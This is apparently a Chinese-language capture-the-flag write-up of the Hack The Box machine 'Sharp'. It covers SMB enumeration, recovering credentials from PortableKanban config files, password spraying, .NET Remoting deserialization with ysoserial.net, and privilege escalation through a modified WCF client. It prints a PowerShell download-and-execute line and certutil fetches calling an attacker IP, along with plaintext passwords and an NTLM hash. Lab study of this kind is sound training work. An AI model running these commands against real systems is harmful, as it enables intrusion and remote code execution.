基本信息
端口扫描
windows的一些常规端口:
1 | nmap -Pn -p- 10.10.10.219 |
SMB enum
smb发现一个kanban可读:
kanban
kanban里面是一些文件:
可以下载下来分析:
1 | smbget -R smb://10.10.10.219/kanban |
kanban files
passwords
可以用ack来搜索strings,比原生strings高效:
1 | sudo apt-get install ack |
整理得到的信息,密码加密的,加密方式可能是exe里定义的(其实就是des,可以自己解,也可以直接用exe功能得到明文):
1 | Administrator |
user guide
得到的还有user guide的pdf,这个需要看一下了解逻辑(26页英文的,我直接翻译wp了):
1 | page 1: As the program is 'portable', it's at our mercy if we change config files |
所以操作最好准备一台wndows虚拟机,Administrator权限
(没装windows,后面会用一些wp里的图,主要是理解流程)
PortableKanban
当运行exe,会有个弹框提示从pk3.bak文件恢复数据:
直接尝试Administrator空密码登录失败
修改配置
因为是从pk3.bak恢复数据,我们直接查看这个文件,就是json格式,如果我们把Administrator的EncryptedPassword修改为空,我们就能够以空密码登录Administrator:
Lars password
根据前面的文档,Setup/Users tab隐藏了用户的密码,去对应的tab取消hide,得到另一个用户Lars的明文密码:
1 | Lars : G123HHrth234gRG |
Administrator password
配置文件里也有用户角色定义,那可以直接复制一份新的,把Lars修改成Admin,登录进去得到Administrator明文密码:
1 | Administrator : G2@$btRSHJYTarg |
SMB enum again
creds
已有的两组账号密码可以组合去测试前面的smb,得到新的有效账号:
1 | #users;passwords |
得到新的有效账户是lars用的administrator密码组合:
1 | sudo crackmapexec smb 10.10.10.219 -u usernames.txt -p passwords.txt |
enum
使用心得账号密码访问smb,多出来一个dev:
1 | smbmap -u lars -p G123HHrth234gRG -H 10.10.10.219 |
dev
dev也同样下载下来分析:
1 | smbget -R smb://10.10.10.219/dev/ -U lars%G123HHrth234gRG |
dev exe
根据notes或者简单的分析,exe是.net的,那就直接反编译康康:
client.exe
RemotingSample里有debug账号密码,8888端口前面也能看到是开放的:
1 | debug : SharpApplicationDebugUserPassword123! |
ExploitRemotingService
根据相关信息,搜索发现相关漏洞利用,建议使用编译好的exe,自己编译坑太多了:
- tyranid/ExploitRemotingService: A tool to exploit .NET Remoting Services
https://github.com/tyranid/ExploitRemotingService - parteeksingh005/ExploitRemotingService_Compiled
https://github.com/parteeksingh005/ExploitRemotingService_Compiled
exploit
利用部分就必须自己用windows机器做了,主要就是Yososerial生成reverse shell的序列化数据,然后ExploitRemotingService打过去触发反序列化,得到lars用户的reverse shell:
- https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
- https://github.com/pwntester/ysoserial.net/releases/download/v1.34/ysoserial-1.34.zip
在文件最后加一句调用,然后自己启动服务,监听端口
1 | # add to ps1 file |
有报错没什么影响,可以看到注入的powershell执行了,我们收到有http请求:
lars shell && user flag
反序列化打到lars用户的reverse shell,读取user.txt:
WCF
lars用户Documents里有个wcf目录:
文件传输
因为我们能够访问dev目录,可以把wcf压缩后移到dev然后下载:
1 | Compress-Archive -LiteralPath C:\users\lars\Documents\wcf -DestinationPath C:\users\lars\Documents\wcf.zip |
wcf project
wcf应该也是个VS项目,可以用VS打开slh文件查看代码逻辑(没装VS,用wp的图了,后面还是要装VS。。。):
可以看到 Client main里还定义了一个8889端口,这个可能是特权用户运行的:
modify && build
后续利用还是要自己windows机器做,VS里添加恶意代码,build会生成新的WcfRemotingLibrary.dll和WcfClient.exe,然后传上去替换:
1 | Console.WriteLine(client.InvokePowerShell(" iex (new-object net.webclient).downloadstring('http://10.10.14.10:7777/InvokePowerShellTcp.ps1')")); |
添加用户成功但连接提示认证问题,可能是密码复杂度问题,还是常规reverse shell吧:
文件传输
然后就是把生成的新文件传回去:
1 | certutil -urlcache -split -f "http://10.10.14.10:7777/WcfRemotingLibrary.dll" WcfRemotingLibrary.dll |
exploit && root flag
然后直接运行传上去的WcfClient.exe,里面的恶意代码会以特权用户执行,得到system shell,读取root.txt(这个打到的shell很容易断,需要快速操作,或者直接在这个shell的基础上再加载一个shell比较稳定):
参考资料
- https://github.com/dnSpy/dnSpy
- tyranid/ExploitRemotingService: A tool to exploit .NET Remoting Services
https://github.com/tyranid/ExploitRemotingService - parteeksingh005/ExploitRemotingService_Compiled
https://github.com/parteeksingh005/ExploitRemotingService_Compiled - https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
- https://raw.githubusercontent.com/Purp1eW0lf/HackTheBoxWriteups/master/Active%20Machines/Sharp.pdf
- NTLM Hash: 9e2ede4a0c81d4ca7630ef1e8d30afb7